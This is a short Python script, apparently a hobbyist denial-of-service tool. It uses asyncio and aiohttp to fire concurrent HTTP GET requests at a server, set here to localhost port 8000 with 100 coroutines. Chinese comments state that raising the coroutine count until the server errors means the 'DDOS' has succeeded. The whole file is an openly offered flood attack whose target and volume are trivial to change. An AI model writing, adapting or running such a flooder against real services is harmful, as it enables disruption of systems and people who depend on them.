import asyncio

import aiohttp


async def aioddos(url: str, port: str):
    async with aiohttp.ClientSession()as session:
        try:
            resp = await session.get(url + port)
            print('连接成功', resp)
        except:
            print("连接超时")


if __name__ == '__main__':
    url = "http://127.0.0.1:"
    port = '8000'
    tasks = []
    loop = asyncio.get_event_loop()
    for i in range(100):  # 此处改变携程数量 超过Sever最大上限就会报错 DDOS成功
        task = loop.create_task(aioddos(url, port))
        tasks.append(task)
    loop.run_until_complete(asyncio.wait(tasks))
